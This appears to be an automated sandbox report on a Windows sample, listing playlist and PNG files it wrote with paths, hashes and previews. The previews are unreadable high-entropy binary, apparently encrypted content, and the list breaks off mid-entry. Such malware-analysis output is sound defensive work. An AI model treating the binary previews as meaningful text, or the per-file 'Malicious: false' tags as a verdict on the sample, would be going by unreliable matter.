Preview:	..1.0...(?...o3[....).c..o....U4-h2a+.....bUuR....r...$......v......9...6...~.DO.\|..XR....~y.;.1W..$...s.s........i$.<W...OJ...kg.}....pF.&N.Ve.).:.6.cv6......T......t..L......\|e..m..l.=.K.=......>..uf...I.k_....Y.pt..\|.L_..sH/.... n...`.Wg......C..... ...!.sj.=....u..9?<_WBA.l...._ZJ'\F.}.?.:`ga.t...c....j}..J6u..)..>@......n...n......Z$".,.T.....'.....E.~w.!..\|.....A...4..wq:.....1\|..%....e..F:..3.'.^..4(.j8.<%'.fi...a]>...!.vX...-~...i../..B.........6c-...i:.:e...c..O...9..^.....Z.8q.....Z$..F.vV.:..>..;u...?...D.h....q):.8.<.#.o.1 d^.P.f .&......0....[..:.r.n......&.O.....H..+,;.<jX...y....h..L5:.Ac.._.a.9..Sl.....Y.T;-.W..&.e.L..0...:#.(.Tn.D.L....-t..-}....d..Q.....'s....WRV.j-7.2=.#.m..=./q.^.U4E.6...u..}f..\...0Y9.X../..E..P........D......p.7......d=....u.\A...........vV..:....R(.".W..u..g=......?.;X.....zn...@v.......0.....U..2....mz...yo.i.$..d#.......d./.vK.....-........S.....;2..1..*.......^G.#......._..mh.}Y..T..C'

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\01_Music_auto_rated_at_5_stars.wpl

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1378
Entropy (8bit):	7.8647839687663295
Encrypted:	false
SSDEEP:	24:1myDoxN7HfHyZhlJ8Wto5Jf8Ih0Of3rqEURZKgOAIbl5e/bD:1rDaBHPyror8IWsrqEUKgOAIxuD
MD5:	28E9D0722C4A877CA19EA277C6244306
SHA1:	46A4499CAA999467C37B6699B3B4484E169282AA
SHA-256:	3017C55C6D85FAFA0FA03841E02A4636767424E2C3EF0F2D05F46B3851175CA2
SHA-512:	FD415A129A48E392A6411A3A6D776DE774B38DE83F85594DAECCFF95DE559AB1D0D932724404500C8382890085326497279295AF1930710C1536CDBD339B7746
Malicious:	false
Preview:	<?wpl,..y....^."..1...x.8Q.(...%9..R.....26v.${8V...W..s6 B.I......;......2#-....2.3......[,R...\-..xG.%..j9.s.q.<n(5.#/..T.....8..!..l...6.Wag...Z.DS...y...PO..\|....$I.@.Z.2k.bp.L..E^s.}J..&1.Y.......^.bc..tj%.....3.........,.u..n..O.-....=..E....Z....F+T.C.d%@......f._....D+..M...6.g\..l...t.L.{+..4K...x.R.......]...%\../.].."....F.S^...3.....O}....'N.!.I....R.A.......1.6.Y..=87)).X.!..... .....n.r...m\.R....u..u.nc..;..wz....`.J..../@...i..T.x.. ........jq......G.#\|....q.D.]_.c.@..5.+.0go......U".>=Of.Y.)....ge..s.....@.X.xA.....r.p9i....F.2..e..K......B_...T..x.o... ..a..%x..Z....7....../..ta...r.\|?..K.......,=...).).vq.8.....-..y...rXH^=...z.n...~...q.e.XCE........s..U).v..#7.....'. p...").."......z...>......h...L^.....i5e.%..i......[..5...b....C.s..\|.Q...:...,....F"...P.....V...u.#Yd..?<TY....C........q..........Ml2$..)!5..<.'...fr.=.gL.......x.*.Tk%s.Y....q...d\@-aQ+..E.......a..z...9q\.......I.sX`.U..#.73j~.7c>..?Z.cD.".<

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\02_Music_added_in_the_last_month.wpl

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	7.881222216251464
Encrypted:	false
SSDEEP:	48:5X4d0z8ut4/ve21uKduz7tBWcH8AWWZ9ePmD:5X3z8ut4/v1aYw9em
MD5:	E09BA3B77C2AE0C86119804D86C0FBD3
SHA1:	994CD435E8B3F6CF25B6EFCEBEC193959B4DEBEE
SHA-256:	FC40CDE2B951FF597012D8C172405E93047388F5CBCD34D2CF7219D6E06FC021
SHA-512:	EFEBEBBD49CD8636D8F9E0E7339B0E5D3657AEDD2A3FCF330757BA4302DFFDA87EF213BB64AEC69566D355357BF8A22A951B73476C0D9564EE135CBC754991CA
Malicious:	false
Preview:	<?wpl.3A.v.rY.....F..e3uv.YUM..d`..6..R...^#.d..Z..f..;#..#.~..[^.........\z..F..\14].ru..U.L.L..c....t..VTC....S.=hxM<.......V..A..b.Q...(....HZ...rFy.5-Bf.tod.........z...q..W.?T....?............]. ..rP.{.....OMd...4B.R.K.....P..C.R9...).?0.s....2.(...A^...}..K...0s^Io\|......h..r.....7."}.....W.?......D.oh.BN.R..e.O.t......w.}.#..Q.....i[H.....kish..k..a.../\|.\<.....0{!...?.T.2D^m.............I..8r......o}8^l.R.p.)G{C4{.L...aS.5......<.....A..pr..m.kM:.;d...&......:.8'ThR..%......._..Z.5...{C.2`w.J..C.0...p#..=.6........A......U.ja.nK.=....=.8.\|..a........}JM..Hs.Y......B.yc...S....\|..,......j.l....y'..]<.`}jok...ztU..6".....c..../..e....\6s...0.......z)(a..,.}...w8^qI.i.....9H..7^e..}N.k.GU...3C./..5...}..=..i2....0.k<7....p.xJ.G.i...I.5..F.9.........6.b.:I......;NI..Y...Q.~q'F....0:.....{...mz......G.vg.i.t....&.lv...........%..+.#...@..1.X3......f,....f..T.l.. t......\F.x.y....\|...N#..J&[.}.......V...Ae{.t...Go.SB3.!hz..vwF_d..?...zL.

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\03_Music_rated_at_4_or_5_stars.wpl

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1601
Entropy (8bit):	7.882565060346844
Encrypted:	false
SSDEEP:	48:dOAPTM/pNzvSzEJMVGIWetDYcUG5JT4d3ut+7wswD:dOA7eqMJsD79N4d3utJ5
MD5:	4026C435DEDF84924DBE41B56857003D
SHA1:	12111D5E7CA571BBA66B14200EE6C49E67E6FDA6
SHA-256:	01014B2F5DE910D11C03431330067FC9C73EAE3DE7D9DA6E705C762C805D52D7
SHA-512:	AB50EA338FC1460ABC351C0F708018EC7B9958BA1287A544921662474F8E4512C42396F1937A811B4689E78B911C2ECA801A915EDEB79ABF6813A65FC2FF209D
Malicious:	false
Preview:	<?wplf.R%.<.0.A......{.-..W.(dws....oC{<..%...H.).\@.8 ..+..W+.X.5....B. I...Y.4.g.cSO."...A........_..X}F.....r..r..#..P...K.\|H...X..8..g.v.<8..%.....?.K[..1Wr..[L.'.=l.+..}Gq6..../d..<...8]U....P..V.Xo.cu....d.@1........./.6~..4lZ....Q......l3.-o....s....GW...@.F7....s.i.....JGB1.<c.tF.N&..#"S..t.=.ne0+.o..#f..%<../G..r.....5........_.<J's..3m..[...~u7....Y.......-.[.....&../.C.`..4...V..V.......x...0.Y..../...........Vtq.Vr4W..kVM.....K2..{..]...V...h....y..[.E.&'..}..R....p...p.y....;U.._8..p.........1.9...!.k.I......k.F.{5.iQ3=...]........o......$..s.,....C.!K.W.kt.S.D.....1......?...u.zL.;.ZC..kO.....\|..<I..A.......?L.!.m.....2.(.+.B.J[).E2Rh...$L.....[...........N.\|$._...[Vo...1....d]..`....t\|8Y.$..~.e6..l..s.......!q[........&.NZS7".o..a....,.:.t.b.{.........oA..]......J`JK......CW..f;.~......xwzx@.e....n....;-\|.a3^1.G..}.W......).1.z.q.y1>..-O..%.....9.g...F.K...s...&...cRE..D.Y=.ut....]M5).:)..fj`.+tqqG.:.z.A.g...*.....-P.....5.

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\04_Music_played_in_the_last_month.wpl

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1618
Entropy (8bit):	7.8568838037931
Encrypted:	false
SSDEEP:	48:DPf4e0C2CazqAemJCg3frOOZENErqXd3D:rQe03C8eiKO2Cqtz
MD5:	A02D31C2AE17D85809F1F972C6D23E5C
SHA1:	E2AD89FC62A8143E34D0921E7E783F2F1C634820
SHA-256:	FDFDE7072AF5A85AFC29BECDE1CDE5649A3234E96AF5147747AEE3311EEAFA39
SHA-512:	456680B3B2C3A82E0863391914DF8ED0FE6F7A74BD7E53776A51369A349A1A270198CC44E68FB276CE3326408F1429CBB8EFD4E56C7334384C29CC3F1E174E0F
Malicious:	false
Preview:	<?wpl..1....O...`.H.......GH....3.........l.fy..J\|k.....kr4..N.3..p.:...>... D..G..=...HE4.xmA...B.....2U.......g.k..o...Qt^m-6...jX3A\...rG..Q..?e~aZ.....;..\|.Z.a,G.E<x.n.L.a..Vy..)ov2.-s....D[!...!..Uvz(.%.....4....V.G.N.Eb..w2.&v..E(..)..]..U..S#.c..0..u...X.@...7.....>WlWsD.y_^..n.#../%LM.....9..+......i{...J.X.....NT3B..x..)....l..tK.....l.<..B...[..Ak.A.......l..].>..\|..h..td.7.>.@...Xo..yH.sW.H...! .oN#.=..aR..XB2[..i...+)...bn...kU..Vf.!1.....p..).3.w.o.RL....^.q.q........y.......c...o.,9...B...%..E..Es.0sv..f={..Uvz..}=\.`.x..=..d.3wU.DoCr..y........Z...X.o...YKn.3&8/....n..h......h..XHx..$..;[d{..4.2X..Z...Ra.L..\|D`vJ4......b.^..(y%@.L9....WG+....Z7.....Nwfp..N.^..<..6.E.Tc,9...C..p\|..$.>.. ..5C.T... .....{....O6.c@..e...<.y.X..[kO)m...L...'v].....@..3../l..._L....`....I.....r..x\|..y......(3=....P2.cu2.!$.rK(.<.h...K.....`.2...K.....b~`.N.f=.B.6a......W.....l..?:d....D.5.8...&[.T...#2L:...:......j..E..\|N.;..t...."......N]..._$nyW.

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\05_Pictures_taken_in_the_last_month.wpl

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1131
Entropy (8bit):	7.810767364152712
Encrypted:	false
SSDEEP:	24:LcCrQ/YHdZ2cXd0ReVUWkdrTA1lMi7R9JbLtH4rTR0CCXsbD:XQwHDR0ReCDA17R9R5w0wD
MD5:	B812E8C04C8D7B7C37C5E62E8BC8B14A
SHA1:	0671434D14FF7C3D0A96C8DCB9CF81A6F586DA83
SHA-256:	0F1DEC69C9A8197A729C0064B207B8378B3445E9523A2CE08A3E5BA8C817AD35
SHA-512:	096EE7552652113493EDE0DD68F9E3D5EF1D230E004E8680B11C522D2A965789E514C7B3CCD35292C78351C4BBC59A5DB34C81C6770F14AF983A711C54D3E666
Malicious:	false
Preview:	<?wplb..#..,...J..OHwrt.9...g5.FK5.`...C:...z..hu-@I.D-..L.d.nPi.:x!6r+".7k5O...j.d.....\N..t....._.....6"E....E.{T^.M.M..\`....6}Z.z4.....+.!...J....`V..G...0(?."/b.U(.2...1d6..f.Am...rF......S.V..6#.....4H.YV..fQ.o.>.)z.p.._.l..m.@.W.\......85>......J.[.Cj..V`u"E.r....g...$cD.........>........9.?gbB.,..nmw..~.J?3[n..o....,....).x{.v\|..$. ..B..O<y..."....P.V.~.........#.d.....].H......@./..`Z....@..[.~.W..P.~w;$t.....sv...)..MW.{.T...V.......`.....J6.U..O+..K... ..zq.B.!Kv...lpj......a......!...].B..5.........13...oHX.q.#4....8..K...x.w7c9Jg.k...-.B...]<.H....U..E.h_........_.#l.C.&<...B9G'D.[.....2!+....mA.&j8q./.i&...-.]..&.3.?.z]....bj.w.fYB(!..[..}.b...T..`....=O..\|.Z:.z?h...Xr.?.......B..Zbz)..CbB..3.~.o...ik.2IF..../.Z......r......-.7f...g...'x#... .I..T...K@...A.FC..(..S....0\|'cPu.3/. '.. Y....3.....=.4l-.T.T"0.[...8M.....I;./..q....I..X...i.......^Z...5..hm.y.)........Y.x5U...6`2..8o.^.PME..9....T*). ..p..U[0.J..oo..5P....WX..

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\06_Pictures_rated_4_or_5_stars.wpl

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1119
Entropy (8bit):	7.800442794077142
Encrypted:	false
SSDEEP:	24:tG+NilIF5Y0uFxQMXk19IyddlKfcAL2PQsmviyDxITrcbD:XNilCyxQX19+fcAL2PQeEIGD
MD5:	0602A610827AC4814E6F6C085D952E3D
SHA1:	63BCB2C45093DA361A9BEDE8364E1A86CE617FE7
SHA-256:	A6B3AC66D3D8FA5AE0413B19DF4593CFE09825D880FF9333FD26D0D19D2B0236
SHA-512:	7572A2EBEDA5B1EACD80D955003E00065D76A98551569699B4A9A236900454D9193C6ED31E74589BC71826236303732426FA0B6E6CE2B05325B02D40BB6E2F37
Malicious:	false
Preview:	<?wpl..#.......z..?...\|vI:...3.MN..7p....s...j.m?T8QW...:.>..}L,p....C.....}....dA.Au.-Y.............c.1....z.$....%....1...?h...T...`..0G..s.&H..G..I.-.i(8\|..B......Q.h.V...c...q.t.x.Uh.e..<..?.F}.5...6I...M..a..d.....1kN.w..."..'3Q......b..[.F"E1.....[Q......%].,.......9..B./.Ni>.~.6....'.;.7m^.(.4L....K.E.@..(.....=.. ..[!.w....YYS...q........eB.....%...=..m..?>B@..h.;..1..].._B.!D.Yd.m.mF....i`.....'P.KHw3..~x..&.e.Z~`~...@P...`.).h }....Z..'KX...}V..iU.U..3..........d..xv.....Z....?b.]........+[..}..u.......!.H...3.E...D\|O..B$2...e.UnyH....e....k.b...@.........Mxxr.....h.....H.0...-.c.XWI....YY.+23.Vq....O...o k.c$.xtm.f.\|;c..x....X.....9N.K.v.I:Js...g......P..c..6.6...S&.\..M...AL.....W;b..4 .).O..U.'.....gn..b.F:..8.w.?..V..6.........\hqic...L..[..\.*... CC.~.....A.b%.....[.....891.b...&O.~./.O...g......8_#...k.D.a.~..c ....b.6.A...,9......\|..=..w...$..#.eMD.e.(b.6<..W1Tm.@...i..f.......o.W..Yd......%bC..yB.Nb..! UR/.a.

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\07_TV_recorded_in_the_last_week.wpl

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1374
Entropy (8bit):	7.873618029792191
Encrypted:	false
SSDEEP:	24:Hz09cfWukrbHHJOYa8Yhz+r8G6jk7LcOsZ/gilTXMDEpw64iJBH594UWbD:TcukrrHs8Y8t0k7LcOmDxMDEp4iXHED
MD5:	DECBA917F7DC5B908DDDA00DB75C0863
SHA1:	1E1B9B9D133FA7CFCED0D28F7C8D5F8C4B2AE430
SHA-256:	D33BC8B019C9EF3F71166ABFEC85DA9A684D9A8F9A3FC0DCC253C2FC12B45A40
SHA-512:	9CB0013956C392278A2219E7366A2914FEF76E75E62997732B3EF2CEF74578EF96711D3C84596E3E07F599726EFA9C3CCAEB0B97B20CB36BF101EBEF18662F67
Malicious:	false
Preview:	<?wpl=..\...5,. x.L..D....BC.0<;-........6@.}.j..}L~7....a...o"+.B..E..v6...`q9...@..../D...s..h.&X...e..\|..[..N...s.Rd^....K"...a..._...\|.:`8,....Vke.J..C.n=....7$...n....]S.T.iPa........9..."~.D.V1P.4.(.5.E......A.PS.^.....D....$:..C.x.c...[..v...B.....\..C....E..!bh.t(&.....R^s.G........y.hw7k.$\|...tD.....;.R8..]$C..'>..),)..)..w.gF....F....>............,.;.....;f:c.?.:..&..N/.9.B..<..X.E<D.}.....x:X..Wp~...qp&..<o4...1R{.j......af.....Y6..g].._.m.....l+.x...n.],.k.."d....kn...?..M;...Z..z..Pn.a..."{9n.....^......S...,.\.4>.j.*...>..Gn...^.....+.X...N..d]f..].5c.z..jb\G.......9...%.z...z..R..{.0.Yh.._.S.~.$..AT...WAj. k^D...pP.X@J.P.ST..4...R..8.o.]..........b..X.i.\..yF.L..6~..:...^mK....b(..c.....\|."...E{....s.K.eTBN:...Y....Z....a"~...~.....n.....%.U.:.......m..2E.C/..&).>.rR..M.\|+r...;.sb.`..hg.....J...r...m.R..y....s. ^.."....u......0M0\|[49....u.c.Q".,T..Q.".d..U}qtx..^.V}{r.....q..@.49..5./.O.=H3@!..(.....@..O...\|...-<<@W..I...

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\08_Video_rated_at_4_or_5_stars.wpl

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1354
Entropy (8bit):	7.863133261480874
Encrypted:	false
SSDEEP:	24:QxJJPnQVMLdta4o4WQ0x6bl/NrQMGkLvYsymLoBDYKgjWTp3qdNslmg/tuA+3wxF:8P7dta4H2cbxNrQ3CvEmL4jlTpYN9g/x
MD5:	B757936091CD9572E55EBA4115B41A6B
SHA1:	417909D019448ECDAB7F172323E3A56D2BA7F6C8
SHA-256:	3114BD94CE379E5C0617294F2F44710FEF15B01AAC32FC5D561A7694F9CAD6ED
SHA-512:	1E92A15B5F9F202F59464936DB356FABB0316AF6B3BC30171A985024EF30D1030A81960F0DD75ECC180045071E48A12A9DA173BEF84F1905FC462741B201D48A
Malicious:	false
Preview:	<?wplQ+...B]iL.C?4...[.....'L....E.7].(.I..../TO"..+.q..7S.Q.^q~.uj...0t..9...`ME....t.2...rK...M..%...+..#..im...c...t..6h....Y.G....E..:\|.,.....:c...v>....f.].{..>.5..{o=0.Zx.Z...................u..n.c.$...Y.Q....'..8l.(\.IBA..@.;.'5...x.1......u.U...K..a...i&1.G}...1.v^.7.8,.'}r....F+....Q.F..?E..z_f.;.w..)/d...d#..j#B...Bq-....N..T..9....w.6.....~............0:.-[..I.j.H..A..Q..R.<chRn..?........M.}z.....-...(...41g..l.,.>....)].$^......./.&..T..\.....aGA.0%.D/.'...>.....(a...Wl.SH!.RrWkp.\|..j..z..C.>=`N..2.\'5.....\.W.s.5bzL$._C4..g......L...;..!>...E..dh8....Q...U.y....t.C..~X....U....0 Xfm..o......9..I............v.d...g...Rs....k..m.}..d.xt1..%_..-.....~I.Yl+.B.\|.. ..;.u..0...+>..'..}r..Mv.JD.m.2.........zs&^8..u../s 9.. +...$ ...W.i*...Oj..]<.=..m............F...k.9..:.~.H.....F.ys..Q..w=.......:..W...?..%.X..#.4....../=.u1.j.e.S#.e._!zK........is...JH.}.?.......>.Gf.%.b.$>.....>.p..!...I.A..cLv1....,e...5Q.....,..&M=....

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\09_Music_played_the_most.wpl

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1359
Entropy (8bit):	7.841853006287158
Encrypted:	false
SSDEEP:	24:je93KY32klPdbaaqS+NJtZkgQ5mZNsu+HOGgHgGZHeSECyXbvfRED7l95ybD:z3OPdbaExJm89t6hEXXb32zSD
MD5:	AB780EF1BB287C7B6B22EE85710FF235
SHA1:	72EE6C3FB316A01BFA7E6D9010C67BC89476C0A7
SHA-256:	9745F81D49D1D050F361848BA0AA5CCC2CF9D6704BF049E24D78916890A6B883
SHA-512:	19D8E1A9B651804B1EFE054DB276FB14E33E54CF4AB4959E1A725EC9ADBF2B5187181E48875343F826DDA95D8FAC7E367D36B766E56F1F9604F8B35683F59D19
Malicious:	false
Preview:	<?wpl.^...].....w.B..W.S......_..7-...q...1k.nA.H.X......P...0j..<s...k?.8..-.)..g...:.........'.<.....Ex).....!m.+Z.Y..OV...mo.-....5;[...i..~...._sy....k.R...\H>.<e3.g.......{3...5..}]..gD._<\|..c....X.CC..\'.>W.%..:..o.pJ......pl...y...s.t.s..AMT.D@.h.)..eT.;$f..u..w.N"..C..<Q.....m-0cW.zK.6O"t...&.&P.....g...S..=M.+.EY.\.-..V........w.....S......^z=.jphV8/..I.N.Y.{X.1..U..P.....w].....m...\|...b.....4T..Kny2!eT}\!@I.vJp.$.@.2f....X.p.:.....(.J..u..Y.....7.C-T.>.d.F...\j#.>.8...B...>.HnY.%.V......d.....WSV.,.H%.}..(.;.......Oq".s.4?=..P`L...[z......{..s.Q;.9.4=....;.@.];..(.J....nX.....(?U..p;K.....2.....M..CN`....."....P..d.9.P..(...ao....,......?..v7Z.....8.....[%...E...U.gW.k.:-.......Q....^..a....&.;...)E..... .K..B..I<.m.p... .`.`K..z...[F..r.E..c....v.O...g..:....^.i.2...W..z&.cLK...\K.D.Jq.M.n.. ..^...=...zG..@...._.o...P..O.q.r...y..?...sMs..>.1....7...../.....?..r!....X..$mo...>...7..q...p.L./..h]...7h....'...x.}/.(..z

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\10_All_Music.wpl

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1397
Entropy (8bit):	7.8325394954247765
Encrypted:	false
SSDEEP:	24:htDdBzUy8vZkDBQ5nWgMZWlPprTU82uLIcv0FAFQM7h2zmegXaOPchbD:hthBzTCZwmrMQxpvUCD0uH2SvPYD
MD5:	847CD1636FAC2CCA03B46D188A8EDA73
SHA1:	7777692E5EAD849570B02A1A016507B3FE84B0DA
SHA-256:	42CDD61C3B2F99FB027343213FA1AEBC6ECB116D566D2558393D0CFF4FB468D1
SHA-512:	94AB905A8765753C07871201FAF2E29D8CD91329E5635A660E5058ACE689AD243303BFCB06043F6B683B76AE65E3A1CEC91531A18FF0A0A93B04DCD595F4D442
Malicious:	false
Preview:	<?wpl.Y.(.....Y.{"=.GK..S...i.H.&?.\L....&..K.D.._O}I.s......2...C.+\;.1{..v..V..q-..ny7....a..+S_!.......M......U.=w..S.5.z..~=./...T....m........t..........Xl.BI........K.MX.=."Ri.&.}v......:..AI.\......HbK..M..4.O..<..s..7.[`..p.y.N....."..j...U'k.....:n..I.S...G}9+b..R..y..e...XC..Y)'....$,<.VHZe..s\.].{HWTe:...H.......B..C..m..R0eT..........D.."K...6u.<I.W.ULwE...d4^`b.P..fV.{w.h....$i...]...Z..r......T........t[.?[.#-].......1#\|q.`..g..5.....QZ.f.SM}...,S.\|.h........U..4W3.!q...+q....5#3O..S..bE...}...._3.Ej../:.>.@...=%.R.}......(\.!.W.6.......6.8U....OY...;....@.Q0...:.B=......\|..%v'hzj...=Rx]\@..q.c.?.~t9@..j..R.g.1..^..-g..h.......\.Q.6)<.6!-.&....0".s.fc.w......\|..i4P..~.X...k.....ZU..d.O.n.)g..M.....H.]m.s.=....\|m_....++.:..1......,..y..?............B.....l.......D......0....]..c.\|}5..>..0q..#3....O./...5.B.NUT.;Q.....G....9"G...:.\-.=B3..g..<.5.j..a......r.u.W.1.......@....kz=.n ...}P.Fdk..g.X........b"....A..$;6...I..'(.

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\11_All_Pictures.wpl

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	919
Entropy (8bit):	7.801372528785341
Encrypted:	false
SSDEEP:	24:gr8h16bmEAmXfrzEEXngcYZjisPOJUmdklHL1bD:A01kASffEE3gjis2JU3lH5D
MD5:	E64E049B0A4BCA166C4822A751B3C0A2
SHA1:	15DEBB2CD1AC54243FA2D1E35A978DBE12509569
SHA-256:	C6A113BC3E33201FCF5056E0348C6810D35ECD3B95A0133770B7D16AA9B5094E
SHA-512:	6FF1E3F253B6ED92020980DD4640D86234DA13E5B8D78BEE8B3D95768701815149989BAD139DF41F81E4E158EEEA49C86D04213FE5F9B092D27C2FFE134FB510
Malicious:	false
Preview:	<?wpl.....:...!m.s.....]R.^.!...3d...5.Y...\...."<.js.p.@IX...0.5...@.3\..C1..........Q.m.`.I..].....8RZ..s.J.z..h.K.....].....-.{..7^..=...r..4a..=5..'.U&.Az...w==..?..,ss..).M.O.......l.~....-.c.HuV,<..l.m....../..1....\|c.\|'.....t..-....&.1.5..O...x7..tB........S.p...L.........-^v....uZp}%a.2eU.G./..3<.9.P&I.S$.i..........D\..>..*.l!....L..I.h.<vT..... I..j.?..{...e...Y)....1C%0..dM.Z.u<Zyi....H....:..x...........+.x[.U...@t\|[..N.rB\|.\|.F1.j.]X..T...".9..r....jf}c.m....._w?.U....(....9:..{.oH.oS]....D...'L-a/_..$....E.{\|..+.P...Y...9..Td?.u..9K!j...&Tm..CKA.sD... ?......v.NR.qL.o..)f...n.5....P..~:..i .....@.8Y3..t?...v.J.._J...x.pP;....}@kC.'n.4(.}..4C..g....S ...q0. :...wd.A<......SS#.8ku:.....Z...)Q.&...(.'...:t@........%B....M.).+..J..A..M-l...nlkU's(&.G....w0(y.....J.....%6j\|...ek.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\12_All_Video.wpl

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1413
Entropy (8bit):	7.867652998525001
Encrypted:	false
SSDEEP:	24:LE9h67JMIhzQwujgE4Mm/egAMPge/yqUalifFr5jKXb7+hptbgT1O52bMLc7qt5u:f+Ih8Ng2gACgTq1lifFr5gb7+hjbSclc
MD5:	83B48AC466D10D5C4438ACADE3026536
SHA1:	5AE2F6315482605CE42D01245BB06DF03F538FB9
SHA-256:	2E885F3E52F40EDA3D112470AEFB37EB66367E0D400515A5FFF9C4039DB8D728
SHA-512:	956C8D8CA5A620B75279871BCA8FA2C86C7AD2FCE164CF8E9FF93D5C5DCF2C5AA0B86502E89309A9BA059A0C1DDDE3B2FC872CED0D4D21D4FAFA8775771C0942
Malicious:	false
Preview:	<?wplY.X.'li.tm....<a..........r%...[..\.@:,.U.....V......yA.?+...1t..ur...'..Em]~.5../......-.$..."..j..A+.E.Qy.A.....I0..]V2...3L.v.[.h..G.w...MN...f.....4&.z.\|.]A2W^.........)0w.....r)....krpy....p...D:......bO..K..,g..]...UTMG.......\|L ..L.M ...n..At.T...62.4.P..".sE..R..g.08..2......q..........S.m..e.[..$./ WZ...... ....!..z...v.P inK.tP.~d..V........[..P.......68..."...Y.....Y.I......B7w....;^;\|1LA..~~.^..93T.A.^...L......5.Q.%0...eJ..ej.-q^.O..<U.z..J.......t.#......N..H...P.....W...+......G[v.#.S.O.b..9i%b..t.O....X.>...f... W.F..."{......Pb.kI..d\|X...&=x't.....i..n\|..]Uw2.w.'......s}zz<...UQ..`..Q....JW3`-V&...Ee.&.).!...j......C<(.(.0.....a.....=I95.c..CZ#..=...)..S\|.....f.K.....W...$+CX./.......3....y....'53.>8..!..!.....Z..L..e3.au.G..f....].R...F......'=y+t[F.L.j..x.jwN..FD.(Ic.EHu.9..[.b...G....pU...sD..B...V..L..-. <...X..d.A..8..5...S.&@...l..t...[Xj....e.<....r..w...J.S..[#.,J.y.#.2O.u.2...#.^8. .....U.......=..3.cU

C:\Users\user\AppData\Local\Microsoft\Office\16.0\DTS\en-CH{6D74D3E2-198E-4F92-BDE8-15D234E7DBED}\{45F61A7D-A745-417E-BD88-2FFDE87A6DA8}mt16400656.png

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	7074
Entropy (8bit):	7.969050729820755
Encrypted:	false
SSDEEP:	192:hejuvvUrR4JFyROOZLbjbxTKno37Acv7mi7:4KvvYyFyROOZLnbxenoLX77
MD5:	546834D96DC5CF624BF98ED617ABDED1
SHA1:	EB64C70BB4FB1337197DFA26DD3EE3DDAFAEC448
SHA-256:	9F60749E6E1F36D36A2B5788EC1A42BF76AA37F9FA3C36F29BD65816A6E07CDF
SHA-512:	DC142F7ADB87714A9DAC5DF0FF851372FA054FE6A88B107740606FAC4E5CBA8F88428E200F832DD08682A54FCAFD026A9571B71059CFB37733B07BD09BE1473D
Malicious:	false
Preview:	.PNG..c....d/(.P..u...l./.....O..i.k..M..z{...M..p/~.{.QS....TE..W{....u.M........@e.#.L.?...k.. Q$1.....KK..N...%o..#.z.\....D/I..T..!1\e..`N...}F.We..<..&.K..9H:.......5...A=j....6.F..]...!W../..ymiP......h....X....`..lm...J.e.....l.1..^...Y.@sq..w.&m..^5...e.`-!gc....p.....%.....l.u.{..n&&....{..5.... ......K..6....5=..T.=..Y...>..se..>..i..M..<Dn...S.?..8.x..>..0.....q\G.."{..H?.SV".%.).....<&F:_...kHc=...@...l).........%.....'....d...]C.)..._..f.K..;q.d.7.iy.j....rX.o..9<eNg.j+.`....R1......'...R..j.L7..1]s.V.T.nxq..c.q...H.....T%[..@.x....K.....F.....?b.S].1#.....5a.....hS,...9.....sqs....I.iP.4...0^.&x...=@.Ld^.~.+..<..$...;BZ.<5...e..x.&.....f.H......%ByY(..}......uW...`9.U..@...Q...[..b..Q....d...w3.rZ.{<2@k<...zf.....pm.....)...=.....;....#.....^..../...p"..{...3..<..>[.N...Z.d.7.,&...'.C<r...W..OK./..\|.']:t>..S.>{...u4..O&^..mN>V..K.?t.V..Si.r.O.tq3I.A.7.)n.)...0.u.....}...P..^y}..9..._.......I..n_v..}.../.I.C.%....F.m

C:\Users\user\AppData\Local\Microsoft\Office\16.0\DTS\en-CH{6D74D3E2-198E-4F92-BDE8-15D234E7DBED}\{7B3AF8A2-A95D-4447-ACC9-7895C91C2D45}mt16400647.png

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	7438
Entropy (8bit):	7.974089911872819
Encrypted:	false
SSDEEP:	192:nLyA+dim4m5ebgKE1Ok6V/lkrx2k9obaKGkRd5:nLyA+n4Gebs1M/lSAkOagn5
MD5:	98501CA60B02EDF9F90EC490D31D14EC
